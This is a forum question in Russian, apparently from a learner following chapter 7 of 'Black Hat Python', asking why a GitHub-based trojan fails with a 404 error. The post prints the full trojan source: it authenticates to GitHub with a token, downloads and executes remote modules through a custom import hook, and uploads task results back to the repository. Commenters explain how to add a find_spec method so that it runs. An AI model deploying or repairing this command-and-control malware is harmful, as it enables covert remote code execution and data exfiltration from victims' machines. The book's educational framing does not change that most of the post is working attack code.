Я получаю ошибку «github3.исключения.NotFoundError: 404 не найдено» в главе 7 книги black hat python при создании троянского

#python #github #trojan

Вопрос:

Сначала я подумал, что это ошибка при подключении к GitHub, но, похоже, это не сценарий, так как первая часть сценария запускается нормально

Полный вывод для контекста

 ┌──(kali㉿kali)-[~/bhptrojan]
└─$ python3 git_trojan.py                                                                                                                                                                                                              130 ⨯
[*] Attempting to retrieve dirlister
[*] Attempting to retrieve environment
Traceback (most recent call last):
  File "<frozen importlib._bootstrap>", line 919, in _find_spec
AttributeError: 'GitImporter' object has no attribute 'find_spec'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/kali/bhptrojan/git_trojan.py", line 93, in <module>
    trojan.run()
  File "/home/kali/bhptrojan/git_trojan.py", line 59, in run
    config = self.get_config()
  File "/home/kali/bhptrojan/git_trojan.py", line 41, in get_config
    exec("import %s" % task['module'])
  File "<string>", line 1, in <module>
  File "<frozen importlib._bootstrap>", line 1007, in _find_and_load
  File "<frozen importlib._bootstrap>", line 982, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 921, in _find_spec
  File "<frozen importlib._bootstrap>", line 895, in _find_spec_legacy
  File "/home/kali/bhptrojan/git_trojan.py", line 74, in find_module
    new_library = get_file_contents('modules', f'{name}.py', self.repo)
  File "/home/kali/bhptrojan/git_trojan.py", line 23, in get_file_contents
    return repo.file_contents(f'{dirname}/{module_name}').content
  File "/home/kali/.local/lib/python3.9/site-packages/github3/repos/repo.py", line 1672, in file_contents
    json = self._json(self._get(url, params={"ref": ref}), 200)
  File "/home/kali/.local/lib/python3.9/site-packages/github3/models.py", line 155, in _json
    raise exceptions.error_for(response)
github3.exceptions.NotFoundError: 404 Not Found
 

Я также получаю несколько других ошибок, как показано выше, но я думаю, что все они исходят от той, о которой я упоминал, но я не уверен.

Полный код здесь.

 import base64
import github3
import importlib
import json
import random
import sys
import threading
import time

from datetime import datetime

def github_connect():
    with open ('mytoken.txt') as f:
        token = f.read()
    user = 'Sebthelad'
    sess = github3.login(token=token)
    return sess.repository(user, 'bhptrojan')          


def get_file_contents(dirname, module_name, repo):
    return repo.file_contents(f'{dirname}/{module_name}').content


class Trojan:
    def __init__(self,id):
        self.id = id
        self.config_file = f'{id}.json'

        self.data_path = f'data/{id}/'

        self.repo = github_connect()
    
    def get_config(self):
        config_json = get_file_contents('config', self.config_file, self.repo)
        config = json.loads(base64.b64decode(config_json))

        for task in config:
            if task['module'] not in sys.modules:
                exec("import %s" % task['module'])
        
        return config

    def module_runner(self, module):
        result = sys.modules[module].run()
        self.store_module_result(result)
    
    def store_module_result(self, data):
        message = datetime.now().isoformat()
        remote_path = f'data/{self.id}/{message}.data'
        bindata = bytes('%r' % data, 'utf-8')
        self.repo.create_file(remote_path,message,base64.b64decode(bindata))

    def run(self):
        while True:


            config = self.get_config()
            for task in config:
                thread = threading.Thread(target=self.module_runner,args=(task['module'],))
                thread.start()
                time.sleep(random.randint(1,10))
        time.sleep(random.randint(30*60, 3*60*60)) 

class GitImporter:
    def __init__(self):
        self.current_module_code = ""

    def find_module(self, name, path=None):
        print("[*] Attempting to retrieve %s" % name)
        self.repo = github_connect()

        new_library = get_file_contents('modules', f'{name}.py', self.repo)

        if new_library is not None:
            self.current_module_code = base64.b64decode(new_library)
            return self    
    
    def load_module(self,name):
        spec = importlib.util.spec_from_loader(name, loader=None, origin=self.repo.git_url)

        new_module = importlib.util.module_from_spec(spec)
        exec(self.current_module_code, new_module.__dict__)

        sys.modules[spec.name] = new_module
        return new_module


if __name__ == '__main__':
    sys.meta_path.append(GitImporter())
    trojan = Trojan('abc')
    trojan.run()
 

Заранее спасибо.

P. S: Если вы обнаружите какие-либо другие проблемы в моем коде, пожалуйста, дайте мне знать.

Комментарии:

1. Предполагается, что элементами sys.meta_path являются MataPathFinder объекты, которые должны реализовать find_spec() метод.

2. @Barmar Итак, что бы я добавил, чтобы это сработало? Извините, у меня возникли проблемы с пониманием.

3. Добавьте соответствующую реализацию def find_spec(self, fullname, path, target=None): для вашего класса.

4. Смотрите документацию, на которую я ссылался. find_spec является заменой find_module .